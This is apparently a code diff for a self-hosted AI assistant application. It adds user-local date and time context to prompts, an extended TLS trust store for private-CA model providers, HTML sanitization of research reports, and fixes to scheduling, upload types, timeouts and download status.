@@ -185,6 +185,15 @@ class ChatProcessor:
"role": "system",
"content": preset_system_prompt
})
if not agent_mode:
try:
from src.user_time import current_datetime_prompt
preface.append({
"role": "system",
"content": current_datetime_prompt(),
})
except Exception:
logger.debug("Failed to add current date/time context", exc_info=True)
preface.append({
"role": "system",
"content": UNTRUSTED_CONTEXT_POLICY,
+5 -4
View File
@@ -20,7 +20,7 @@ def _is_text_file(path: str) -> bool:
"""Check if file has text extension."""
return any(
path.lower().endswith(ext)
for ext in (".txt", ".py", ".html", ".htm", ".md", ".json", ".csv", ".log", ".js")
for ext in (".txt", ".py", ".html", ".htm", ".md", ".json", ".csv", ".log", ".js", ".nix")
)
@@ -29,7 +29,8 @@ def _process_text_file(path: str) -> str:
language_map = {
".py": "python", ".js": "javascript", ".html": "html", ".css": "css",
".json": "json", ".md": "markdown", ".txt": "text", ".csv": "csv",
".log": "log", ".sh": "bash", ".yml": "yaml", ".yaml": "yaml",
".log": "log", ".sh": "bash", ".bash": "bash", ".nix": "nix",
".yml": "yaml", ".yaml": "yaml",
".xml": "xml", ".sql": "sql", ".cpp": "cpp", ".c": "c",
".java": "java", ".go": "go", ".rs": "rust", ".php": "php",
".rb": "ruby", ".ts": "typescript", ".jsx": "javascript", ".tsx": "typescript",
@@ -91,8 +92,8 @@ def _process_text_file(path: str) -> str:
header += f"[Type: {language}, Lines: {line_count}, Size: {size_str} bytes]"
code_extensions = {
".py", ".js", ".html", ".css", ".json", ".md", ".sh", ".yml", ".yaml",
".xml", ".sql", ".cpp", ".c", ".java", ".go", ".rs", ".php", ".rb",
".py", ".js", ".html", ".css", ".json", ".md", ".sh", ".bash", ".nix",
".yml", ".yaml", ".xml", ".sql", ".cpp", ".c", ".java", ".go", ".rs", ".php", ".rb",
".ts", ".jsx", ".tsx",
}
if ext in code_extensions:
+3 -1
View File
@@ -11,7 +11,7 @@ import subprocess
from typing import Optional, Tuple, Dict
from urllib.parse import urlparse, urlunparse
from src.database import SessionLocal, ModelEndpoint
from core.database import SessionLocal, ModelEndpoint
from src.llm_core import _detect_provider, _host_match
logger = logging.getLogger(__name__)
@@ -285,6 +285,8 @@ def resolve_endpoint(
# If no (usable) model specified, pick the first enabled chat model.
if not model:
model = _first_chat_model(_endpoint_enabled_models(ep)) or ""
if not model and not fallback_model:
logger.warning('[resolve_endpoint] no usable model (all models hidden or list empty)')
return chat_url, model or fallback_model, headers
except Exception as e:
+12 -4
View File
@@ -129,7 +129,10 @@ def _get_http_client() -> httpx.AsyncClient:
"""Return process-wide AsyncClient. Per-request timeout is passed at call time."""
global _http_client
if _http_client is None or _http_client.is_closed:
_http_client = httpx.AsyncClient(limits=_http_limits, http2=False)
from src.tls_overrides import llm_verify
_http_client = httpx.AsyncClient(
limits=_http_limits, http2=False, verify=llm_verify(),
)
return _http_client
def _get_cached_response(cache_key: str) -> Optional[str]:
@@ -1395,7 +1398,7 @@ async def stream_llm(url: str, model: str, messages: List[Dict], temperature: fl
j = json.loads(data)
# Usage chunk (from stream_options)
_choices = j.get("choices") or []
_delta0 = _choices[0].get("delta") if _choices else None
_delta0 = _choices[0].get("delta") if (_choices and _choices[0] is not None) else None
# Capture usage whenever the chunk carries it and
# the delta has no actual output. Some gateways /
# local servers attach usage to the FINAL delta,
@@ -1409,7 +1412,7 @@ async def stream_llm(url: str, model: str, messages: List[Dict], temperature: fl
or _delta0.get("tool_calls")
)
if "usage" in j and not _delta_has_output:
u = j["usage"]
u = j["usage"] or {}
_usage_data = {"input_tokens": u.get("prompt_tokens", 0), "output_tokens": u.get("completion_tokens", 0)}
# llama.cpp puts a `timings` block alongside `usage` with the
# TRUE generation speed (predicted_per_second) — pure decode,
@@ -1424,7 +1427,10 @@ async def stream_llm(url: str, model: str, messages: List[Dict], temperature: fl
_usage_data["prefill_tps"] = round(_tm["prompt_per_second"], 2)
yield f'data: {json.dumps({"type": "usage", "data": _usage_data})}\n\n'
elif "choices" in j:
delta = j["choices"][0].get("delta") or {}
_c0 = (j["choices"] or [None])[0]
if _c0 is None:
continue
delta = _c0.get("delta") or {}
if isinstance(delta, dict):
# Text content
# Reasoning tokens (VLLM --reasoning-parser, e.g. Qwen3/DeepSeek-R1, Nemotron). vLLM 0.20.2 / NIM emit the field as `reasoning`; older builds use `reasoning_content`. Accept either.
@@ -1443,6 +1449,8 @@ async def stream_llm(url: str, model: str, messages: List[Dict], temperature: fl
yield f'data: {json.dumps({"delta": content})}\n\n'
# Native tool calls — accumulate across chunks
for tc in delta.get("tool_calls") or []:
if tc is None:
continue
func = tc.get("function") or {}
raw_idx = tc.get("index")
if raw_idx is None:
+1
View File
@@ -7,6 +7,7 @@ parallel copy; it now re-exports so the two cannot drift out of sync again.
from services.search.ranking import ( # noqa: F401
_AGE_FORMATS,
_SPORTS_HINT_RE,
_utcnow_naive,
rank_search_results,
recency_score,
+9 -3
View File
@@ -8,7 +8,7 @@ and the task scheduler / builtin actions system.
import json
import logging
import re
from datetime import datetime
from datetime import datetime, timedelta
logger = logging.getLogger(__name__)
@@ -22,9 +22,10 @@ _THROWAWAY_NAMES = {
"ok", "lol", "bruh", "hmm", "hm", "meh",
}
_THROWAWAY_MAX_MESSAGES = 4
_FRESH_EMPTY_SESSION_GRACE = timedelta(minutes=10)
async def run_auto_sort(owner: str, skip_llm: bool = False) -> str:
async def run_auto_sort(owner: str, skip_llm: bool = False, delete_throwaway: bool = True) -> str:
"""Run session cleanup + (optional) AI folder sort for the given owner.
Args:
@@ -32,6 +33,7 @@ async def run_auto_sort(owner: str, skip_llm: bool = False) -> str:
skip_llm: when True, do only Phase 1 (delete empty/throwaway sessions);
skip Phase 2 (AI folder assignment). Used by the built-in daily
background sweep so it never burns LLM tokens.
delete_throwaway: when False, only empty/incognito sessions are deleted.
Returns a human-readable summary of what was done.
"""
@@ -53,6 +55,8 @@ async def run_auto_sort(owner: str, skip_llm: bool = False) -> str:
for row in rows:
if getattr(row, 'is_important', False):
continue
created_at = row.created_at or row.updated_at or datetime.utcnow()
is_fresh = (datetime.utcnow() - created_at) < _FRESH_EMPTY_SESSION_GRACE
if (row.name or "").strip() == "Incognito":
deleted_throwaway += 1
db.delete(row)
@@ -64,9 +68,11 @@ async def run_auto_sort(owner: str, skip_llm: bool = False) -> str:
should_delete = False
if msg_count == 0:
if is_fresh:
continue
should_delete = True
deleted_empty += 1
elif msg_count <= _THROWAWAY_MAX_MESSAGES:
elif delete_throwaway and msg_count <= _THROWAWAY_MAX_MESSAGES:
name = (row.name or "").strip().lower()
first_msg = db.query(DbMsg.content).filter(
DbMsg.session_id == row.id, DbMsg.role == "user"
+12 -4
View File
@@ -979,10 +979,10 @@ class TaskScheduler:
task = db.query(ScheduledTask).filter(ScheduledTask.id == task_id).first()
if not task:
return True
task_type = task.task_type or "llm"
task_type = getattr(task, "task_type", "") or "llm"
if task_type != "action":
return True
return (task.action or "") in self._MODEL_BACKED_ACTIONS
return (getattr(task, "action", "") or "") in self._MODEL_BACKED_ACTIONS
finally:
db.close()
@@ -992,7 +992,7 @@ class TaskScheduler:
if "check-in" in (task.name or "").lower():
return
# Built-in housekeeping noise stays out of the chat.
if (task.action or "") in self._SILENT_ACTIONS:
if (getattr(task, "action", "") or "") in self._SILENT_ACTIONS:
return
from src.assistant_log import log_to_assistant
log_to_assistant(
@@ -1408,6 +1408,12 @@ class TaskScheduler:
from core.database import Session as DbSession, ChatMessage, CrewMember
output = task.output_target or "session"
if (
output == "session"
and (getattr(task, "task_type", "") or "") == "action"
and (getattr(task, "action", "") or "") in self._SILENT_ACTIONS
):
return
if output.startswith("mcp__"):
await self._deliver_via_mcp(output, task, result)
return
@@ -2069,6 +2075,8 @@ class TaskScheduler:
# Built-in housekeeping/action jobs should not create browser
# task notifications; user AI/research tasks still can.
task.notifications_enabled = False
if (task.output_target or "session") == "session":
task.output_target = defs.get("output_target", "none")
seeded = []
for action, defs in HOUSEKEEPING_DEFAULTS.items():
if action in existing_actions:
@@ -2099,7 +2107,7 @@ class TaskScheduler:
# AI/email/calendar tasks opt into a paused starting state
# via ship_paused so users can enable them deliberately.
status="paused" if ships_paused else "active",
output_target="session",
output_target=defs.get("output_target", "none"),
notifications_enabled=False,
)
db.add(task)
+91
View File
@@ -0,0 +1,91 @@
"""Extended TLS trust store for private-CA LLM providers.
Some upstream LLM providers serve their API over TLS certificates that are
signed by a private root CA which is not part of the standard system bundle:
- GigaChat (Sber) uses the Russian Trusted Root CA, not bundled with
OpenSSL / certifi / system trust on most non-Russian installs. The
chain looks self-signed to Python and the endpoint is marked offline
with `CERTIFICATE_VERIFY_FAILED: self-signed certificate in
certificate chain` (see issue #722).
- On-premise enterprise LLM gateways often present a corporate CA that
has not been imported into the runtime's trust store.
Operators point `LLM_CA_BUNDLE` at a PEM file containing the extra CA
cert(s). The default system / certifi trust store is loaded first, then
the operator's PEM is layered on top, so verification still happens —
the trust set just gets larger. We deliberately do not provide a
"verify=off" knob: weakening verification globally (or per-host) would
expose those endpoints to MITM, and the operator-supplied bundle is the
correct fix for legitimate private-CA providers.
Example (GigaChat):
# Sber publishes the chain at
# https://www.gosuslugi.ru/crt/rootca_ssl_rsa2022.cer
# Convert to PEM and point the env var at it.
LLM_CA_BUNDLE=/etc/odysseus/ca/russian-trusted-root.pem
Scope:
`llm_verify()` is intentionally consumed by only two call sites — the
shared async client in `src/llm_core.py` and the endpoint probes in
`routes/model_routes.py`. Both reach LLM provider URLs. The override
is NOT threaded into web_fetch, search providers, gallery downloads,
embeddings, webhook delivery, or anything else that hits arbitrary
URLs, and it does NOT affect the app's own browser-facing TLS. That
boundary is pinned by `tests/test_tls_overrides_scope.py` — extending
it requires updating the allowlist there with a written justification.
"""
import logging
import os
import ssl
from typing import Optional
logger = logging.getLogger(__name__)
_extra_bundle_path: Optional[str] = (os.environ.get("LLM_CA_BUNDLE") or "").strip() or None
def _build_ssl_context() -> Optional[ssl.SSLContext]:
"""Build an SSLContext that uses the default trust store and ALSO trusts
the operator-supplied PEM bundle. Returns None when no extra bundle is
configured, so callers fall through to httpx's default verify=True."""
if not _extra_bundle_path:
return None
if not os.path.isfile(_extra_bundle_path):
logger.warning(
"LLM_CA_BUNDLE points at %r but the file does not exist; "
"falling back to the default trust store.",
_extra_bundle_path,
)
return None
ctx = ssl.create_default_context()
try:
ctx.load_verify_locations(cafile=_extra_bundle_path)
except (ssl.SSLError, OSError) as e:
logger.warning(
"LLM_CA_BUNDLE=%r failed to load (%s); falling back to the "
"default trust store.",
_extra_bundle_path, e,
)
return None
logger.info(
"Loaded extra CA bundle %r on top of the default trust store.",
_extra_bundle_path,
)
return ctx
# Resolved once at import time. The httpx clients in src/llm_core.py are
# long-lived (process-wide), so editing LLM_CA_BUNDLE requires a restart —
# matching the existing semantics of LLM_HOST, SEARXNG_INSTANCE, etc.
_SHARED_SSL_CONTEXT: Optional[ssl.SSLContext] = _build_ssl_context()
def llm_verify():
"""Return the value to pass as `verify=` on httpx.get / httpx.Client /
httpx.AsyncClient. Returns the extended-trust SSLContext when
LLM_CA_BUNDLE is set and loaded; otherwise True (httpx default — system
/ certifi bundle, verification fully on)."""
return _SHARED_SSL_CONTEXT if _SHARED_SSL_CONTEXT is not None else True
+1 -1
View File
@@ -102,7 +102,7 @@ BUILTIN_TOOL_DESCRIPTIONS: Dict[str, str] = {
"resolve_contact": "Look up a contact's email address by name. Searches CardDAV address book and sent email history. Use when the user says 'message [name]', 'email [name]', or 'send to [name]' without an email address.",
"manage_contact": "Create, update, delete, or list CardDAV contacts. Use to save a new contact, change an existing one's email/phone, or remove one. Action=list returns uids needed for update/delete. Use when the user says 'save this contact', 'add [name] to contacts', 'update [name]'s email', 'delete [name] from contacts'. Do not use for user identity facts like 'my name is <name>'; those are memory.",
"manage_notes": "Create and manage notes and checklists (Google Keep-style). ALWAYS use this for note/todo/checklist/reminder creation — NEVER hit /api/notes via app_api. Accepts natural-language `due_date` like 'tomorrow at 9am' or '11pm today' (parsed in the USER'S timezone). The due_date IS the reminder — it fires a notification at that time, so do NOT also create a calendar event for the same reminder. Set colors, labels, pin, archive. Do NOT use manage_memory for note content.",
"manage_calendar": "Calendar event management: list, create, update, delete. Each event can carry a tag/category (event_type — work/personal/health/travel/meal/social/admin/other) and importance (low/normal/high/critical). Use ISO datetimes; supports all-day events. For event reminders/alarms, pass reminder_minutes; this creates the Notes reminder, so do not also call manage_notes for the same reminder.",
"manage_calendar": "Calendar event management: list, create, update, delete. Each event can carry a tag/category (event_type — work/personal/health/travel/meal/social/admin/other) and importance (low/normal/high/critical). Resolve today/tomorrow using the Current date and time context, then use ISO datetimes in the user's local wall time; supports all-day events. For event reminders/alarms, pass reminder_minutes; this creates the Notes reminder, so do not also call manage_notes for the same reminder.",
"download_model": "Download a HuggingFace model to a local or remote server. Specify repo_id (e.g. 'Qwen/Qwen3-8B'), optional server host, and optional include filter for specific files.",
"serve_model": "Start serving a model with vLLM, SGLang, llama.cpp, Ollama, or Diffusers. For image/inpainting/diffusion use python3 scripts/diffusion_server.py --model <repo> --port 8100. After launch, call list_served_models for readiness/errors and retry suggestions.",
"list_served_models": "List currently running model servers in the Cookbook — shows status (loading, ready, idle, error), model name, port, throughput, and serve failure diagnosis/retry suggestions. Use when the user asks 'what's running', 'show my cookbook', 'which models are up', 'what's serving'.",
+1 -1
View File
@@ -422,7 +422,7 @@ FUNCTION_TOOL_SCHEMAS = [
"type": "function",
"function": {
"name": "manage_calendar",
"description": "Manage calendar events: list events in a date range, create, update, delete. Each event can carry a tag/category (event_type) and importance level. Use ISO 8601 datetimes; for all-day events set all_day=true and pass YYYY-MM-DD. For event reminders/alarms, pass reminder_minutes; the tool creates the Odysseus note reminder, so do not also call manage_notes for the same reminder.",
"description": "Manage calendar events: list events in a date range, create, update, delete. Each event can carry a tag/category (event_type) and importance level. Resolve relative dates like today/tomorrow against the 'Current date and time' system context, then pass ISO 8601 datetimes in the user's local wall time; for all-day events set all_day=true and pass YYYY-MM-DD. For event reminders/alarms, pass reminder_minutes; the tool creates the Odysseus note reminder, so do not also call manage_notes for the same reminder.",
"parameters": {
"type": "object",
"properties": {
+2 -2
View File
@@ -175,8 +175,8 @@ class UploadHandler:
document_extensions = {
'.pdf', '.docx', '.xlsx', '.pptx', '.xls', '.epub',
'.txt', '.py', '.js', '.html', '.htm',
'.css', '.json', '.md', '.csv', '.log', '.xml', '.yml',
'.yaml', '.sql', '.sh', '.bash', '.c', '.cpp', '.h',
'.css', '.json', '.md', '.csv', '.log', '.xml', '.yml',
'.yaml', '.nix', '.sql', '.sh', '.bash', '.c', '.cpp', '.h',
'.java', '.go', '.rs', '.php', '.rb', '.ts', '.jsx', '.tsx'
}
document_mime_types = {
+138
View File
@@ -0,0 +1,138 @@
"""Per-request user-local time helpers.
Chat routes set this context from browser headers. Prompt builders and tools
can then resolve relative dates against the user's clock instead of the server.
"""
from __future__ import annotations
import re
from contextvars import ContextVar
from datetime import datetime, timedelta, timezone
from typing import Optional
_USER_TZ_OFFSET_MIN: ContextVar[Optional[int]] = ContextVar("user_tz_offset_min", default=None)
_USER_TZ_NAME: ContextVar[Optional[str]] = ContextVar("user_tz_name", default=None)
def set_user_tz_offset(offset_min) -> None:
"""Set the current user's UTC offset in minutes east of UTC."""
if offset_min in (None, ""):
_USER_TZ_OFFSET_MIN.set(None)
return
try:
value = int(offset_min)
except (TypeError, ValueError):
return
if -14 * 60 <= value <= 14 * 60:
_USER_TZ_OFFSET_MIN.set(value)
def get_user_tz_offset() -> Optional[int]:
"""Return minutes east of UTC for the current user, if known."""
return _USER_TZ_OFFSET_MIN.get()
def set_user_tz_name(name) -> None:
"""Set a safe IANA timezone label for the current request context."""
if not name:
_USER_TZ_NAME.set(None)
return
first_token = str(name).strip().split()[0] if str(name).strip() else ""
cleaned = re.sub(r"[^A-Za-z0-9_+\-./]", "", first_token)[:80]
_USER_TZ_NAME.set(cleaned or None)
def get_user_tz_name() -> Optional[str]:
"""Return the current user's browser timezone name, if provided."""
return _USER_TZ_NAME.get()
def clear_user_time_context() -> None:
"""Clear user-local time context for tests and non-browser entry points."""
_USER_TZ_OFFSET_MIN.set(None)
_USER_TZ_NAME.set(None)
def format_utc_offset(offset_min: Optional[int]) -> str:
"""Format minutes east of UTC as +HH:MM or -HH:MM."""
if offset_min is None:
offset_min = 0
sign = "+" if offset_min >= 0 else "-"
total = abs(int(offset_min))
hours, minutes = divmod(total, 60)
return f"{sign}{hours:02d}:{minutes:02d}"
def user_timezone() -> timezone:
"""Return the best known user timezone as a fixed-offset tzinfo."""
offset = get_user_tz_offset()
if offset is None:
name = get_user_tz_name()
if name:
try:
from zoneinfo import ZoneInfo
return ZoneInfo(name)
except Exception:
pass
return datetime.now().astimezone().tzinfo or timezone.utc
return timezone(timedelta(minutes=offset))
def now_user_local(now_utc: Optional[datetime] = None) -> datetime:
"""Return the current time in the user's timezone."""
if now_utc is None:
now_utc = datetime.now(timezone.utc)
elif now_utc.tzinfo is None:
now_utc = now_utc.replace(tzinfo=timezone.utc)
return now_utc.astimezone(user_timezone())
def _date_label(dt: datetime) -> str:
return f"{dt.strftime('%A')}, {dt.strftime('%B')} {dt.day}, {dt.year}"
def _clock_label(dt: datetime) -> str:
hour = dt.hour % 12 or 12
return f"{hour}:{dt.minute:02d} {dt.strftime('%p')}"
def timezone_label(dt: Optional[datetime] = None) -> str:
"""Return a concise display label such as Australia/Brisbane, UTC+10:00."""
offset = get_user_tz_offset()
if offset is None:
if dt is None:
dt = datetime.now().astimezone()
offset = int((dt.utcoffset() or timedelta()).total_seconds() // 60)
offset_label = f"UTC{format_utc_offset(offset)}"
name = get_user_tz_name()
return f"{name}, {offset_label}" if name else offset_label
def current_datetime_prompt(now_utc: Optional[datetime] = None) -> str:
"""Build reusable system prompt text for date/time reasoning."""
if now_utc is None:
utc_now = datetime.now(timezone.utc)
elif now_utc.tzinfo is None:
utc_now = now_utc.replace(tzinfo=timezone.utc)
else:
utc_now = now_utc.astimezone(timezone.utc)
local_now = now_user_local(utc_now)
tomorrow = local_now + timedelta(days=1)
return (
"## Current date and time\n"
f"Today is {_date_label(local_now)} ({local_now.strftime('%Y-%m-%d')}). "
f"User local time is {_clock_label(local_now)} ({timezone_label(local_now)}); "
f"current UTC time is {utc_now.strftime('%H:%M')}.\n"
f"Tomorrow is {_date_label(tomorrow)} ({tomorrow.strftime('%Y-%m-%d')}) "
"in the user's local timezone.\n"
"Use this for any 'today', 'tomorrow', 'tonight', 'this week', or other "
"relative-date reasoning. Do not ask for an exact date just because the "
"user used a relative date.\n"
"When scheduling calendar events with manage_calendar, pass local ISO "
"datetimes resolved against this user-local date/time.\n"
"When scheduling a task with manage_tasks, scheduled_time is in UTC: "
"convert the user's stated local time using the UTC offset above.\n\n"
)
+35 -2
View File
@@ -25,9 +25,27 @@ from src.research_utils import strip_thinking
from urllib.parse import urlparse
import markdown
import nh3
logger = logging.getLogger(__name__)
# Tags/attributes permitted in rendered research-report HTML. Starts from nh3's
# safe defaults (which drop <script>, inline event handlers, and javascript:
# URLs) and adds back only the formatting the report itself emits: the
# collapsible raw-findings block (<details>/<summary>), heading anchors for the
# table of contents (id), codehilite classes, table alignment, and the
# target/rel that _md_to_html puts on external links.
_REPORT_ALLOWED_TAGS = set(nh3.ALLOWED_TAGS) | {"details", "summary"}
_REPORT_ALLOWED_ATTRS = {k: set(v) for k, v in nh3.ALLOWED_ATTRIBUTES.items()}
for _h in ("h1", "h2", "h3", "h4", "h5", "h6"):
_REPORT_ALLOWED_ATTRS.setdefault(_h, set()).add("id")
for _t in ("span", "code", "pre", "div", "table", "td", "th"):
_REPORT_ALLOWED_ATTRS.setdefault(_t, set()).add("class")
for _t in ("td", "th"):
_REPORT_ALLOWED_ATTRS.setdefault(_t, set()).add("align")
_REPORT_ALLOWED_ATTRS.setdefault("a", set()).update({"href", "title", "target", "rel"})
_REPORT_ALLOWED_ATTRS.setdefault("img", set()).update({"src", "alt", "title"})
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
@@ -48,7 +66,14 @@ def _autolink_urls(md_text: str) -> str:
def _md_to_html(md_text: str) -> str:
"""Convert markdown to HTML with common extensions."""
"""Convert markdown to HTML with common extensions.
Research-report markdown is assembled from LLM output over crawled web
pages (untrusted content), and report pages are served under a relaxed
`script-src 'unsafe-inline'` CSP. python-markdown passes raw HTML through
verbatim, so the rendered output is allowlist-sanitized to strip any
<script>/inline-event-handler/javascript: markup before it reaches the page.
"""
md_text = _autolink_urls(md_text)
result = markdown.markdown(
md_text,
@@ -64,6 +89,14 @@ def _md_to_html(md_text: str) -> str:
r'<a target="_blank" rel="noopener noreferrer" href="\1',
result,
)
# Sanitize: report content is untrusted and the report CSP allows inline
# scripts, so strip active content while keeping the formatting above.
result = nh3.clean(
result,
tags=_REPORT_ALLOWED_TAGS,
attributes=_REPORT_ALLOWED_ATTRS,
link_rel=None,
)
return result
@@ -1864,7 +1897,7 @@ def generate_visual_report(
restore_btn_html=restore_btn_html,
timestamp=timestamp,
category_css=_category_css(category),
body_class=f"category-{category}" if category else "",
body_class=f"category-{html.escape(str(category))}" if category else "",
session_id_js=json_dumps_str(session_id or ""),
spare_images_js=_json_for_script(spare_images),
)
+2 -1
View File
@@ -1876,11 +1876,12 @@ function _wireAll(body) {
}
try {
const tz = Intl.DateTimeFormat().resolvedOptions().timeZone || '';
const tzOffset = -new Date().getTimezoneOffset();
const res = await fetch(`${API_BASE}/api/calendar/quick-parse`, {
method: 'POST',
credentials: 'same-origin',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ text, tz }),
body: JSON.stringify({ text, tz, tz_offset: tzOffset }),
});
const data = await res.json().catch(() => ({}));
if (!res.ok || !data.ok) {
+26 -5
View File
@@ -530,6 +530,9 @@ import createResearchSynapse from './researchSynapse.js';
let _renderStream = () => {};
let _cancelThinkingTimer = () => {};
let _removeThinkingSpinner = () => {};
let timeoutId = null;
let responseTimeoutCleared = false;
let clearResponseTimeout = () => {};
const clearProcessingProbe = () => {
if (processingProbeTimer) {
clearTimeout(processingProbeTimer);
@@ -790,13 +793,26 @@ import createResearchSynapse from './researchSynapse.js';
// Timeout: 6 min for research and agent mode, 3 min otherwise
const timeoutMs = el('research-toggle').checked || _isAgent ? RESEARCH_TIMEOUT_MS : DEFAULT_TIMEOUT_MS;
const timeoutId = setTimeout(() => {
timeoutId = setTimeout(() => {
if (!abortCtrl.signal.aborted) {
timedOut = true;
abortCtrl._reason = 'timeout';
try {
if (streamSessionId) {
fetch(`/api/chat/stop/${encodeURIComponent(streamSessionId)}`, {
method: 'POST',
credentials: 'same-origin',
}).catch(() => {});
}
} catch (_) {}
abortCtrl.abort();
}
}, timeoutMs);
clearResponseTimeout = () => {
if (responseTimeoutCleared) return;
responseTimeoutCleared = true;
clearTimeout(timeoutId);
};
const box = el('chat-history');
holder = document.createElement('div');
@@ -922,16 +938,19 @@ import createResearchSynapse from './researchSynapse.js';
// the agent so natural-language times like "today at 9pm" are
// interpreted in YOUR timezone, not the server's.
const _tzOffsetMin = -new Date().getTimezoneOffset();
const _tzName = (() => {
try { return Intl.DateTimeFormat().resolvedOptions().timeZone || ''; }
catch { return ''; }
})();
const res = await fetch(`${API_BASE}/api/chat_stream`, {
method: 'POST',
body: fd,
headers: { 'X-Tz-Offset': String(_tzOffsetMin) },
headers: { 'X-Tz-Offset': String(_tzOffsetMin), 'X-Tz-Name': _tzName },
signal: abortCtrl.signal
});
clearTimeout(timeoutId);
if (!res.ok) {
clearResponseTimeout();
if (res.status === 404) {
// Session was deleted (e.g. by AI) — reload and go to welcome
holder.remove();
@@ -1359,7 +1378,8 @@ import createResearchSynapse from './researchSynapse.js';
typewriterInto(roundHolder.querySelector('.body'), errMsg);
break;
}
if (json.delta || json.type === 'tool_start' || json.type === 'agent_step' || json.type === 'doc_stream_delta') {
if (json.delta || json.type === 'tool_start' || json.type === 'tool_output' || json.type === 'tool_progress' || json.type === 'agent_step' || json.type === 'doc_stream_open' || json.type === 'doc_stream_delta' || json.type === 'research_progress') {
clearResponseTimeout();
clearProcessingProbe();
}
if (json.delta) {
@@ -2710,6 +2730,7 @@ import createResearchSynapse from './researchSynapse.js';
}
}
} finally {
clearResponseTimeout();
clearProcessingProbe();
// Streaming done — let screen readers announce the settled response.
const _chatLogDone = document.getElementById('chat-history');
+34 -3
View File
@@ -66,6 +66,23 @@ function _clearPillLabel(task) {
return 'clear';
}
// A pip dependency/driver install (payload._dep) reports success with the
// runner's "=== Process exited with code 0 ===" sentinel and pip's
// "Successfully installed" line — never the HuggingFace download markers
// (DONE / 100% / /snapshots/ / DOWNLOAD_OK) that the download heuristics look
// for. Without this, a clean install whose tmux pane has already gone away is
// misread as crashed/stopped even though pip exited 0. Prefer the authoritative
// exit-code sentinel; fall back to pip's success line when no sentinel was
// captured (and there's no install error in the same output).
function _depInstallSucceeded(output) {
const text = String(output || '');
if (!text) return false;
const exitMatch = text.match(/=== Process exited with code (-?\d+) ===/);
if (exitMatch) return Number(exitMatch[1]) === 0;
return /\b(?:Successfully installed|Requirement already satisfied)\b/.test(text)
&& !/\bERROR\b|No matching distribution|Could not find a version|Traceback \(most recent call last\)/.test(text);
}
function _shouldOfferCrashReport(task) {
if (!task) return false;
if (task._unreachable && task.type === 'serve') return true;
@@ -2266,6 +2283,10 @@ export function _renderRunningTab() {
// Wire stop
el.querySelector('.cookbook-task-action-stop').addEventListener('click', async () => {
// Abort the reconnect loop before sending kill so that a DOWNLOAD_FAILED
// marker written by the shell wrapper (on SIGINT/non-zero exit) cannot
// trigger an auto-retry after a manual stop.
if (el._abort) el._abort.abort();
const badge = el.querySelector('.cookbook-task-status');
if (badge) { badge.textContent = 'stopping...'; badge.className = 'cookbook-task-status cookbook-task-stopping'; }
el.dataset.status = 'stopped';
@@ -2444,7 +2465,10 @@ async function _reconnectTask(el, task) {
const downloadLooksSuccessful = !lastOutput.includes('DOWNLOAD_FAILED')
&& (lastOutput.includes('DONE') || lastOutput.includes('100%') || lastOutput.includes('/snapshots/') || lastOutput.includes('Download complete') || lastOutput.includes('DOWNLOAD_OK'));
const serveLooksReady = task.type === 'serve' && _serveOutputLooksReady({ ...task, output: lastOutput });
const looksSuccessful = task.type === 'download' ? downloadLooksSuccessful : serveLooksReady;
// Dependency installs are tracked as download tasks but finish with a
// pip exit-0 sentinel, not HF download markers — so check that too.
const depInstallSucceeded = !!task.payload?._dep && _depInstallSucceeded(lastOutput);
const looksSuccessful = depInstallSucceeded || (task.type === 'download' ? downloadLooksSuccessful : serveLooksReady);
if (!lastOutput.trim() || !looksSuccessful) {
_updateTask(task.sessionId, { status: 'crashed' });
el.dataset.status = 'crashed';
@@ -2762,7 +2786,7 @@ async function _reconnectTask(el, task) {
const _accessDenied = /Access to model.*is restricted|gated repo|GatedRepoError|401 Unauthorized|403 Forbidden|not in the authorized list|awaiting a review|must (?:be authenticated|have access)/i.test(snapshot);
const _dlKey = task.payload?.repo_id || task.name;
const _dlN = _dlRetryCount.get(_dlKey) || 0;
if (!_accessDenied && !task._userStopped && task.type === 'download' && task.payload && _dlN < _DL_MAX_AUTO_RETRY) {
if (!controller.signal.aborted && !_accessDenied && task.type === 'download' && task.payload && _dlN < _DL_MAX_AUTO_RETRY) {
// Auto-retry: kill the dead session and re-launch (resumes from
// the cached .incomplete files) after a short delay.
_dlRetryCount.set(_dlKey, _dlN + 1);
@@ -3305,11 +3329,18 @@ async function _pollBackgroundStatus() {
const live = statusById.get(task.sessionId);
if (!live) continue;
const updates = {};
// A finished dependency install whose tmux pane is gone is reported
// "stopped" by the backend (its pip package is never in the HF cache the
// dead-session check inspects). Recover "done" from the retained output's
// exit-0 sentinel so a clean install isn't downgraded to crashed.
const depDone = !!task.payload?._dep && _depInstallSucceeded(task.output);
const nextStatus = live.status === 'completed'
? 'done'
: (live.status === 'error'
? 'error'
: (live.status === 'stopped' ? (task.type === 'download' ? 'crashed' : 'stopped') : null));
: (live.status === 'stopped'
? (depDone ? 'done' : (task.type === 'download' ? 'crashed' : 'stopped'))
: null));
if (nextStatus && task.status !== nextStatus) {
updates.status = nextStatus;
if (nextStatus === 'done' && task.payload?._dep) completedDeps.push(task);
+3
View File
@@ -8554,6 +8554,9 @@ import * as Modals from './modalManager.js';
if (window.hljs) {
preview.querySelectorAll('pre code').forEach(b => window.hljs.highlightElement(b));
}
if (markdownModule && markdownModule.renderMermaid) {
markdownModule.renderMermaid(preview);
}
preview.style.display = '';
wrap.style.display = 'none';
} else {
+5 -9
View File
@@ -17,6 +17,10 @@ let API_BASE = '';
let _uploadSpinners = [];
const _previewUrls = new WeakMap();
const MAX_FILES = 10;
const MAX_VISIBLE = 3;
let _expanded = false;
function _getPreviewUrl(f) {
if (!f) return '';
let url = _previewUrls.get(f);
@@ -49,10 +53,6 @@ export function openPicker() {
document.getElementById('file-input').click();
}
const MAX_VISIBLE = 3;
const MAX_EXPAND = 6; // beyond this, the badge stays collapsed (too many chips to preview)
let _expanded = false;
/**
* Render the attachment strip with pending files.
* 1-3 files: show individual chips.
@@ -80,11 +80,9 @@ export function renderAttachStrip() {
label.className = 'thumb-collapsed-label';
badge.appendChild(label);
badge.title = pendingFiles.map(f => f.name || 'pasted-image').join('\n');
const canExpand = total <= MAX_EXPAND;
badge.style.cursor = canExpand ? 'pointer' : 'default';
badge.style.cursor = 'pointer';
badge.addEventListener('click', (e) => {
if (e.target.closest('.thumb-collapsed-x')) return;
if (!canExpand) return; // too many files — don't expand into chips
_expanded = true;
renderAttachStrip();
});
@@ -201,8 +199,6 @@ export async function uploadPending() {
}
}
const MAX_FILES = 10;
/**
* Add files to pending list (capped at MAX_FILES)
*/
+12
View File
